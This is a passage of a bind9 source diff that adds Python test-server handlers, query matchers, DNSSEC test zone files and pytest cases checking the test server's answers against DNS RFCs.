is + # removed from the set of monitored descriptors, but prevents the + # one-off read from emptying the client socket buffer _entirely_, which + # is enough to trigger sending an RST segment when the connection is + # closed shortly afterwards. + writer_not_the_reader.transport.max_size = 1 # type: ignore + + +@dataclass +class IgnoreAllConnections(ConnectionHandler): + """ + A connection handler that makes the server not read anything from the + client socket, effectively ignoring all incoming connections. + """ + + _connections: set[asyncio.StreamWriter] = field(default_factory=set) + + async def handle( + self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer + ) -> None: + block_reading(peer, writer) + # Due to the way various asyncio-related objects (tasks, streams, + # transports, selectors) are referencing each other, pausing reads for + # a TCP transport (which in practice means removing the client socket + # from the set of descriptors monitored by a selector) can cause the + # client task (AsyncDnsServer._handle_tcp()) to be prematurely + # garbage-collected, causing asyncio code to raise a "Task was + # destroyed but it is pending!" exception. Prevent that from happening + # by keeping a reference to each incoming TCP connection to protect its + # related asyncio objects from getting garbage-collected. This + # prevents AsyncDnsServer from closing any of the ignored TCP + # connections indefinitely, which is obviously a pretty brain-dead idea + # for a production-grade DNS server, but AsyncDnsServer was never meant + # to be one and this hack reliably solves the problem at hand. + self._connections.add(writer) + + +@dataclass +class ConnectionReset(ConnectionHandler): + """ + A connection handler that makes the server close the connection without + reading anything from the client socket. + + The connection may be closed with a delay if requested. + + The sole purpose of this handler is to trigger a connection reset, i.e. to + make the server send an RST segment; this happens when the server closes a + client's socket while there is still unread data in that socket's buffer. + If closing the connection _after_ the query is read by the server is enough + for a given use case, the CloseConnection response handler should be used + instead. + """ + + delay: float = 0.0 + + async def handle( + self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer + ) -> None: + block_reading(peer, writer) + + if self.delay > 0: + logging.info( + "Waiting %.1fs before closing TCP connection from %s", self.delay, peer + ) + await asyncio.sleep(self.delay) + + raise _ConnectionTeardownRequested + + +class ResponseHandlerWrapper(ResponseHandler, abc.ABC): + """ + Base class for handlers that wrap another handler and modify each response + it yields. The matcher and the response stream are those of the wrapped + `inner` handler; subclasses implement `_modify_response()` to mutate each + yielded action in place, and may override `_on_query_received()` to reset + per-query state. + """ + + def __init__(self, inner: ResponseHandler) -> None: + self._inner = inner + self.matcher = inner.matcher + + def _on_query_received(self, qctx: QueryContext) -> None: + pass + + @abc.abstractmethod + def _modify_response( + self, qctx: QueryContext, response_action: ResponseAction + ) -> None: + raise NotImplementedError + + @final + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + self._on_query_received(qctx) + async for response_action in self._inner.get_responses(qctx): + self._modify_response(qctx, response_action) + yield response_action + + def __str__(self) -> str: + return f"{self.__class__.__name__}({self._inner})" + + +class IgnoreAllQueries(ResponseHandler): + """ + Do not respond to any queries sent to the server. + """ + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseDrop, None]: + yield ResponseDrop() + + +class _UnsetEdnsType: + pass + + +class StaticResponseHandler(ResponseHandler): + """ + Base class used for deriving custom static response handlers. + + The derived class can specify the RRsets to be included in the answer, + authority, and additional sections of the response, whether to set the AA + bit in the response, and a delay before sending the response. + + The default implementation of `get_responses()` uses these properties to + prepare and yield a single response. + """ + + @property + def rcode(self) -> dns.rcode.Rcode | None: + """ + Optional RCODE to be set in the response. + """ + return None + + @property + def answer(self) -> Sequence[dns.rrset.RRset]: + """ + RRsets to be included in the answer section of the response. + """ + return [] + + @property + def authority(self) -> Sequence[dns.rrset.RRset]: + """ + RRsets to be included in the authority section of the response. + """ + return [] + + @property + def additional(self) -> Sequence[dns.rrset.RRset]: + """ + RRsets to be included in the additional section of the response. + """ + return [] + + @property + def authoritative(self) -> bool | None: + """ + Whether to set the AA bit in the response. + """ + return None + + @property + def delay(self) -> float: + """ + Delay before sending the response. + """ + return 0.0 + + @property + def edns(self) -> int | bool | None | _UnsetEdnsType: + """ + Value passed to the response's ``use_edns()``. Left unset by default, + so EDNS is untouched; set it to anything ``use_edns()`` accepts (e.g. + ``None`` to strip EDNS and mimic a non-EDNS server). + """ + return _UnsetEdnsType() + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.prepare_new_response(with_zone_data=False) + qctx.response.answer.extend(self.answer) + qctx.response.authority.extend(self.authority) + qctx.response.additional.extend(self.additional) + if self.rcode is not None: + qctx.response.set_rcode(self.rcode) + if not isinstance(self.edns, _UnsetEdnsType): + qctx.response.use_edns(self.edns) + yield DnsResponseSend( + qctx.response, authoritative=self.authoritative, delay=self.delay + ) + + +class ForwarderHandler(ResponseHandler): + """ + A handler forwarding all received queries to another DNS server with an + optional delay and then relaying the responses back to the original client. + + Queries are currently always forwarded via UDP. + """ + + @property + @abc.abstractmethod + def target(self) -> str: + """ + The address of the DNS server to forward queries to. + """ + raise NotImplementedError + + @property + def port(self) -> int: + """ + The port of the DNS server to forward queries to. + + The default value of 0 causes the same port as the one used by this + server for listening to be used. + """ + return 0 + + @property + def delay(self) -> float: + """ + The number of seconds to wait before forwarding each query. + """ + return 0.0 + + def __str__(self) -> str: + return f"{self.__class__.__name__}(target: {self.target}:{self.port})" + + class ForwarderProtocol(asyncio.DatagramProtocol): + def __init__(self, query: bytes, response: asyncio.Future) -> None: + self._query = query + self._response = response + + def connection_made(self, transport: asyncio.BaseTransport) -> None: + logging.debug("[OUT] %s", self._query.hex()) + cast(asyncio.DatagramTransport, transport).sendto(self._query) + + def datagram_received(self, data: bytes, _: tuple[str, int]) -> None: + logging.debug("[IN] %s", data.hex()) + self._response.set_result(data) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[BytesResponseSend | DnsResponseSend, None]: + loop = asyncio.get_running_loop() + response = loop.create_future() + forwarding_target = f"{self.target}:{self.port or qctx.socket.port}" + + if self.delay > 0: + logging.info( + "Waiting %.1fs before forwarding %s query from %s to %s over UDP", + self.delay, + qctx.protocol.name, + qctx.peer, + forwarding_target, + ) + await asyncio.sleep(self.delay) + + logging.info( + "Forwarding %s query from %s to %s over UDP", + qctx.protocol.name, + qctx.peer, + forwarding_target, + ) + + transport, _ = await loop.create_datagram_endpoint( + lambda: self.ForwarderProtocol(qctx.query.to_wire(), response), + local_addr=(qctx.socket.host, 0), + remote_addr=(self.target, self.port or qctx.socket.port), + ) + + try: + await response + finally: + transport.close() + + logging.info( + "Relaying UDP response from %s to %s over %s", + forwarding_target, + qctx.peer, + qctx.protocol.name, + ) + + try: + message = dns.message.from_wire(response.result(), keyring=False) + yield DnsResponseSend(message, acknowledge_hand_rolled_response=True) + except dns.exception.DNSException: + logging.warning( + "Failed to parse response from %s as a DNS message, relaying it as raw bytes", + forwarding_target, + ) + yield BytesResponseSend(response.result()) + + +class AxfrHandler(ResponseHandler): + """ + Base class for AXFR response handlers. + + Subclasses must define the `initial_soa`, `zone_contents`, and `final_soa` + properties to specify the content of the AXFR responses. + + The responses are constructed without any regard to zone data. + """ + + @property + @abc.abstractmethod + def initial_soa(self) -> dns.rrset.RRset: + """ + Initial SOA record of response packets sent in response to + AXFR queries. + """ + raise NotImplementedError + + @property + @abc.abstractmethod + def zone_contents(self) -> Collection[dns.rrset.RRset]: + """ + Answer section of the second response packet sent in response to + AXFR queries. + """ + raise NotImplementedError + + @property + @abc.abstractmethod + def final_soa(self) -> dns.rrset.RRset: + """ + Final SOA record of response packets sent in response to + AXFR queries. + """ + raise NotImplementedError + + matcher: Matcher = Qtype(dns.rdatatype.AXFR) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.prepare_new_response(with_zone_data=False) + qctx.response.answer.append(self.initial_soa) + yield DnsResponseSend(qctx.response) + + qctx.prepare_new_response(with_zone_data=False) + for rrset_ in self.zone_contents: + qctx.response.answer.append(rrset_) + yield DnsResponseSend(qctx.response) + + qctx.prepare_new_response(with_zone_data=False) + qctx.response.answer.append(self.final_soa) + yield DnsResponseSend(qctx.response) diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/matchers.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/matchers.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/matchers.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/matchers.py 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,330 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import Callable, Iterator +from typing import TypeVar + +import abc + +import dns.name +import dns.rdatatype + +from .context import DnsProtocol, QueryContext + +M = TypeVar("M", bound="Matcher") + + +class Matcher(abc.ABC): + """ + A predicate over queries, deciding which ones a response handler handles. + + Matchers are combined with `&`, `|` and `~`; a handler declares the result + in its `matcher` attribute. + """ + + @abc.abstractmethod + def match(self, qctx: QueryContext) -> bool: + """ + Whether the query in `qctx` matches. + """ + raise NotImplementedError + + def __and__(self, other: "Matcher") -> "Matcher": + return AllOf(self, other) + + def __or__(self, other: "Matcher") -> "Matcher": + return AnyOf(self, other) + + def __invert__(self) -> "Matcher": + return Not(self) + + def of(self, cls: type[M]) -> M: + """ + The one matcher of class `cls` this matcher is built from, for a + handler to read what it was declared with: `matcher.of(Qname).qnames`. + """ + found = [m for m in self.leaves() if isinstance(m, cls)] + assert len(found) == 1, f"{self} has {len(found)} {cls.__name__} matchers" + return found[0] + + def leaves(self) -> Iterator["Matcher"]: + """ + The matchers this one is built from; a matcher built from nothing + yields itself. + """ + yield self + + def __str__(self) -> str: + return f"{self.__class__.__name__}()" + + +class _Combinator(Matcher): + """ + Base class for matchers combining other matchers. + """ + + _SEPARATOR = ", " + + def __init__(self, *matchers: Matcher) -> None: + self._matchers = matchers + + def leaves(self) -> Iterator[Matcher]: + for matcher in self._matchers: + yield from matcher.leaves() + + def __str__(self) -> str: + return f"({self._SEPARATOR.join(str(m) for m in self._matchers)})" + + +class AllOf(_Combinator): + """ + Match queries matched by every one of the given matchers (`a & b`). + """ + + _SEPARATOR = " and " + + def __and__(self, other: Matcher) -> Matcher: + return AllOf(*self._matchers, other) + + def match(self, qctx: QueryContext) -> bool: + return all(matcher.match(qctx) for matcher in self._matchers) + + +class AnyOf(_Combinator): + """ + Match queries matched by at least one of the given matchers (`a | b`). + """ + + _SEPARATOR = " or " + + def __or__(self, other: Matcher) -> Matcher: + return AnyOf(*self._matchers, other) + + def match(self, qctx: QueryContext) -> bool: + return any(matcher.match(qctx) for matcher in self._matchers) + + +class Not(Matcher): + """ + Match queries which the given matcher does not match (`~a`). + """ + + def __init__(self, matcher: Matcher) -> None: + self._matcher = matcher + + def leaves(self) -> Iterator[Matcher]: + yield from self._matcher.leaves() + + def match(self, qctx: QueryContext) -> bool: + return not self._matcher.match(qctx) + + def __str__(self) -> str: + return f"not {self._matcher}" + + +class Always(Matcher): + """ + Match every query; the default for handlers which do not set a matcher. + """ + + def match(self, qctx: QueryContext) -> bool: + return True + + +class Qname(Matcher): + """ + Match queries whose QNAME is one of the given names. + """ + + def __init__(self, *qnames: str | dns.name.Name) -> None: + self.qnames = [ + name if isinstance(name, dns.name.Name) else dns.name.from_text(name) + for name in qnames + ] + + def match(self, qctx: QueryContext) -> bool: + return qctx.qname in self.qnames + + def __str__(self) -> str: + return f"QNAME in [{', '.join(str(name) for name in self.qnames)}]" + + +class Qtype(Matcher): + """ + Match queries whose QTYPE is one of the given types. + """ + + def __init__(self, *qtypes: dns.rdatatype.RdataType) -> None: + self.qtypes = qtypes + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype in self.qtypes + + def __str__(self) -> str: + return f"QTYPE in [{', '.join(map(dns.rdatatype.to_text, self.qtypes))}]" + + +class Domain(Matcher): + """ + Match queries for one of the given domains or any of their subdomains. + + The most specific domain matched is kept in `matched_domain` for the + handler to read. + """ + + def __init__(self, *domains: str | dns.name.Name) -> None: + self._domains = sorted( + ( + name if isinstance(name, dns.name.Name) else dns.name.from_text(name) + for name in domains + ), + reverse=True, + ) + self._matched_domain: dns.name.Name | None = None + + @property + def matched_domain(self) -> dns.name.Name: + assert self._matched_domain is not None, f"{self} has not matched yet" + return self._matched_domain + + def match(self, qctx: QueryContext) -> bool: + for domain in self._domains: + if qctx.qname.is_subdomain(domain): + self._matched_domain = domain + return True + return False + + def __str__(self) -> str: + return f"QNAME under [{', '.join(str(name) for name in self._domains)}]" + + +class Protocol(Matcher): + """ + Match queries received over the given transport protocol. + """ + + def __init__(self, protocol: DnsProtocol) -> None: + self._protocol = protocol + + def match(self, qctx: QueryContext) -> bool: + return qctx.protocol == self._protocol + + def __str__(self) -> str: + return f"over {self._protocol.name}" + + +class Edns(Matcher): + """ + Match queries carrying an OPT record. + """ + + def match(self, qctx: QueryContext) -> bool: + return qctx.query.edns > -1 + + def __str__(self) -> str: + return "with EDNS" + + +class EdnsOptions(Matcher): + """ + Match queries carrying EDNS options. + """ + + def match(self, qctx: QueryContext) -> bool: + return bool(qctx.query.options) + + def __str__(self) -> str: + return "with EDNS options" + + +class LabelPredicate(Matcher): + """ + Match queries whose QNAME label at the given index passes the given test, + described for the log; a QNAME without such a label does not match. + """ + + def __init__( + self, index: int, test: Callable[[bytes], bool], description: str + ) -> None: + self._index = index + self._test = test + self._description = description + + def match(self, qctx: QueryContext) -> bool: + try: + label = qctx.qname.labels[self._index] + except IndexError: + return False + return self._test(label) + + def __str__(self) -> str: + return f"label {self._index} {self._description}" + + +class LeftmostLabel(LabelPredicate): + """ + Match queries whose leftmost label is one of the given labels. + """ + + def __init__(self, *labels: bytes) -> None: + super().__init__( + 0, + lambda label: label in labels, + f"in [{', '.join(label.decode() for label in labels)}]", + ) + + +class LeftmostLabelPrefix(LabelPredicate): + """ + Match queries whose leftmost label starts with the given prefix. + """ + + def __init__(self, prefix: bytes) -> None: + super().__init__( + 0, + lambda label: label.startswith(prefix), + f"starting with {prefix.decode()}", + ) + + +class LabelCount(Matcher): + """ + Match queries whose QNAME has the given number of labels, the root label + included. + """ + + def __init__(self, count: int) -> None: + self._count = count + + def match(self, qctx: QueryContext) -> bool: + return len(qctx.qname.labels) == self._count + + def __str__(self) -> str: + return f"QNAME of {self._count} labels" + + +class Once(Matcher): + """ + Match the first query the given matcher matches, and only that one. + """ + + def __init__(self, matcher: Matcher) -> None: + self._matcher = matcher + self._done = False + + def match(self, qctx: QueryContext) -> bool: + if self._done or not self._matcher.match(qctx): + return False + self._done = True + return True + + def __str__(self) -> str: + return f"once, {self._matcher}" diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/ans.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/ans.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/ans.py 2026-10-12 13:12:07.950890140 +0000 @@ -0,0 +1,44 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +This is a bare-bones DNS server that only serves data from zone files. It is +meant to be used as a replacement for full-blown named instances in system +tests when a given server is only required to return zone-based data. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + BEWARE! THIS SERVER DOES NOT NECESSARILY RETURN PROTOCOL-COMPLIANT ANSWERS! +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +See AsyncDnsServer._abort_if_*() methods in isctests/asyncserver.py for more +details. Use a regular named instance for anything non-trivial. + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + DO NOT ADD CUSTOM LOGIC TO THIS FILE. IT IS ONLY MEANT TO BE SYMLINKED INTO +ansX/ SUBDIRECTORIES IN SYSTEM TESTS TO REDUCE THE AMOUNT OF BOILERPLATE CODE. +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +If you need to customize server behavior, implement it in a dedicated ans.py +server in the system test at hand. If an extension you are working on can be +useful in other system tests, please consider opening a merge request extending +isctest/asyncserver.py. +""" + +from isctest.asyncserver import AsyncDnsServer + + +def main() -> None: + server = AsyncDnsServer() + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/example.db bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/example.db --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/example.db 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,18 @@ +; ent.example. is an empty non-terminal (only deep.ent.example. exists), and +; *.example. must not apply below it. +; +; No RRSIG(SOA) and no NSEC/NSEC3 chain on purpose: a signed SOA makes the +; non-existence provers run, and they reject a zone without a chain. The +; RRSIG(DS) only has to be present; it is never verified. +example. 300 IN SOA ns.example. hostmaster.example. 1 3600 600 86400 300 +example. 300 IN NS ns.example. +ns.example. 300 IN A 10.53.0.1 +deep.ent.example. 300 IN A 192.0.2.1 +*.example. 300 IN A 198.51.100.45 +child.example. 300 IN NS ns.child.example. +child.example. 300 IN DS 10437 13 2 1C4E708E9DAF795A6CE11798210987899FD04AEDFB71D2093334C5E53DDB4FD8 +ns.child.example. 300 IN A 192.0.2.60 +foo.example. 300 IN CNAME bar.example. +bar.example. 300 IN A 192.0.2.2 + +child.example. 300 IN RRSIG DS 13 2 300 20940101000000 20200101000000 10437 example. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec.test.db.j2.manual bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec.test.db.j2.manual 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,12 @@ +; ent.nsec.test. exists only through deep.ent.nsec.test., so for +; y.ent.nsec.test. the closest encloser is ent.nsec.test. and the source of +; synthesis RFC 4592 3.3.1 asks about is *.ent.nsec.test. +; +; a.nsec.test. puts the two denials NXDOMAIN needs in different NSEC gaps: +; *.ent.nsec.test. sorts between a. and deep.ent., y.ent.nsec.test. between +; deep.ent. and ns. +nsec.test. 300 IN SOA ns.nsec.test. hostmaster.nsec.test. 1 3600 600 86400 300 +nsec.test. 300 IN NS ns.nsec.test. +ns.nsec.test. 300 IN A @ns.ip@ +a.nsec.test. 300 IN A 192.0.2.2 +deep.ent.nsec.test. 300 IN A 192.0.2.1 diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec3.test.db.j2.manual bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec3.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec3.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/nsec3.test.db.j2.manual 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,12 @@ +; The shape of nsec.test.: ent.nsec3.test. exists only through +; deep.ent.nsec3.test. RFC 5155 7.1 gives every empty non-terminal its own +; NSEC3, so ent.nsec3.test. is matched by one, not covered by one. +; +; m.nsec3.test. keeps the three NSEC3 records RFC 5155 7.2.2 asks for +; distinct: its hash sorts between the hash of ent.nsec3.test. and the hash +; of *.ent.nsec3.test. +nsec3.test. 300 IN SOA ns.nsec3.test. hostmaster.nsec3.test. 1 3600 600 86400 300 +nsec3.test. 300 IN NS ns.nsec3.test. +ns.nsec3.test. 300 IN A @ns.ip@ +deep.ent.nsec3.test. 300 IN A 192.0.2.1 +m.nsec3.test. 300 IN A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/optout.test.db.j2.manual bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/optout.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/optout.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/optout.test.db.j2.manual 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,24 @@ +; RFC 5155 1.3 separates the closest encloser from the closest *provable* +; encloser, and 7.1 gives every empty non-terminal an NSEC3 unless it is +; derived only from an insecure delegation covered by an Opt-Out NSEC3. One +; empty non-terminal of each kind: +; +; ent.optout.test. exists through deep.ent.optout.test., an authoritative +; A record, so it is matched by an NSEC3 and is the +; closest encloser of y.ent.optout.test. +; ent2.optout.test. exists only through deep.ent2.optout.test., an insecure +; delegation the Opt-Out chain skips, so it is matched by +; no NSEC3 and the closest provable encloser of +; x.ent2.optout.test. is the apex. +; +; shim1 and shim2 keep the three NSEC3 records RFC 5155 7.2.2 asks for +; distinct in both cases: shim2 hashes between ent.optout.test. and +; *.ent.optout.test., shim1 between the apex and *.optout.test. +optout.test. 300 IN SOA ns.optout.test. hostmaster.optout.test. 1 3600 600 86400 300 +optout.test. 300 IN NS ns.optout.test. +ns.optout.test. 300 IN A @ns.ip@ +deep.ent.optout.test. 300 IN A 192.0.2.1 +deep.ent2.optout.test. 300 IN NS ns.deep.ent2.optout.test. +ns.deep.ent2.optout.test. 300 IN A 192.0.2.70 +shim1.optout.test. 300 IN A 192.0.2.11 +shim2.optout.test. 300 IN A 192.0.2.12 diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/salt.test.db.j2.manual bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/salt.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/salt.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ans1/zones/salt.test.db.j2.manual 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,8 @@ +; The shape of nsec3.test. -- ent.salt.test. exists only through +; deep.ent.salt.test. -- signed with a salt; a prover that hashes with +; hardcoded parameters rather than the zone's NSEC3PARAM finds none of the +; three records RFC 5155 7.2.2 asks for. +salt.test. 300 IN SOA ns.salt.test. hostmaster.salt.test. 1 3600 600 86400 300 +salt.test. 300 IN NS ns.salt.test. +ns.salt.test. 300 IN A @ns.ip@ +deep.ent.salt.test. 300 IN A 192.0.2.1 diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ns2/named.conf.j2 bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ns2/named.conf.j2 --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/ns2/named.conf.j2 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,51 @@ +// validating resolver, so that the denials ans1 builds can be checked against +// what a validator makes of them and not just against the wire + +{% set ans1 = Nameserver("ans1") %} + +options { + {% include_indented "_common/options.conf.j2" %} +{% if trust_anchors is defined %} + dnssec-validation yes; +{% else %} + dnssec-validation no; +{% endif %} + // One server answers for the whole zone, so minimizing the QNAME would + // only add queries for the intermediate names, none of which this test + // is about. + qname-minimization off; + // A failed non-existence proof stops ans1 from answering at all; fail + // the fetch quickly rather than stalling the test for the default 10 + // seconds. + resolver-query-timeout 5000; +}; + +{% include "_common/controls.conf.j2" %} + +{% include "_common/root.hint.conf" %} + +zone "nsec.test" { + type static-stub; + server-addresses { @ans1.ip@; }; +}; + +zone "nsec3.test" { + type static-stub; + server-addresses { @ans1.ip@; }; +}; + +zone "optout.test" { + type static-stub; + server-addresses { @ans1.ip@; }; +}; + +zone "salt.test" { + type static-stub; + server-addresses { @ans1.ip@; }; +}; + +// Only tests_empty_non_terminal.py serves signed zones; its bootstrap() +// supplies the trust anchors, and without them validation is left off. +{% if trust_anchors is defined %} +{% include "_common/trusted.conf.j2" %} +{% endif %} diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_asyncserver_dnssec.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_asyncserver_dnssec.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_asyncserver_dnssec.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_asyncserver_dnssec.py 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,130 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +AsyncDnsServer responses built from zone data +""" + +import dns.message +import dns.rdatatype + +from isctest.template import ANS1 + +import isctest + + +def query(qname: str, qtype: str, dnssec: bool = False) -> dns.message.Message: + msg = isctest.query.create(qname, qtype, dnssec=dnssec, rd=False) + return isctest.query.udp(msg, ANS1.ip, timeout=3, attempts=3) + + +def rrsets(section: list, rdtype: dns.rdatatype.RdataType) -> list: + return [rrset for rrset in section if rrset.rdtype == rdtype] + + +def test_wildcard_applies_at_closest_encloser(): + res = query("y.example.", "A") + isctest.check.noerror(res) + isctest.check.rr_count_eq(res.answer, 1) + assert rrsets(res.answer, dns.rdatatype.A)[0][0].to_text() == "198.51.100.45" + + +def test_wildcard_occluded_by_empty_non_terminal(): + """ + RFC 4592 3.3.1: ent.example. is an empty non-terminal, so it -- not + example. -- is the closest encloser of y.ent.example. The source of + synthesis is therefore *.ent.example., which does not exist, and "there is + no search for an alternate". + """ + res = query("y.ent.example.", "A") + isctest.check.nxdomain(res) + isctest.check.empty_answer(res) + + +def test_empty_non_terminal_is_nodata(): + res = query("ent.example.", "A") + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert rrsets(res.authority, dns.rdatatype.SOA) + + +def test_nodata_through_cname_carries_soa(): + """ + RFC 2308 2.2: a Type 2 NODATA reached via a CNAME still carries the SOA. + """ + res = query("foo.example.", "AAAA") + isctest.check.noerror(res) + assert rrsets(res.answer, dns.rdatatype.CNAME) + assert rrsets(res.authority, dns.rdatatype.SOA) + + +def test_referral_with_do_carries_ds_and_rrsig(): + """ + The DS is only added when DO is set, so this is the one query that reaches + QueryContext.get_rrsig() with a non-SOA RRset before qctx.node is set. + """ + res = query("www.child.example.", "A", dnssec=True) + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert rrsets(res.authority, dns.rdatatype.NS) + assert rrsets(res.authority, dns.rdatatype.DS) + assert rrsets(res.authority, dns.rdatatype.RRSIG) + + +def test_referral_without_do_has_no_ds(): + res = query("www.child.example.", "A") + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert rrsets(res.authority, dns.rdatatype.NS) + assert not rrsets(res.authority, dns.rdatatype.DS) + + +def test_ds_at_delegation_is_answered_from_parent(): + """ + Asked without DO on purpose: this zone carries an RRSIG but no NSEC or + NSEC3 records, and a signed answer makes _noerror_response() ask for a + non-existence proof the zone cannot supply. + """ + res = query("child.example.", "DS") + isctest.check.noerror(res) + assert rrsets(res.answer, dns.rdatatype.DS) + + +def test_ds_below_delegation_is_referred(): + """ + The parent zone holds no data under the cut, so it must not deny that the + name exists. + """ + res = query("www.child.example.", "DS") + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert rrsets(res.authority, dns.rdatatype.NS) + + +def test_ds_at_zone_apex_is_nodata(): + """ + A DS RRset lives in the parent zone, but the parent of example. is not + served here while example. itself is, so the query must not be refused. + """ + res = query("example.", "DS") + isctest.check.noerror(res) + isctest.check.empty_answer(res) + assert rrsets(res.authority, dns.rdatatype.SOA) + + +def test_ds_for_root_is_refused(): + """ + The root has no parent zone to answer from and no root zone is served + here either, so the query is refused, as for any other unserved name; a + served root zone would answer NODATA from its apex, like example. above. + """ + res = query(".", "DS") + isctest.check.refused(res) diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/dnssec/tests_empty_non_terminal.py 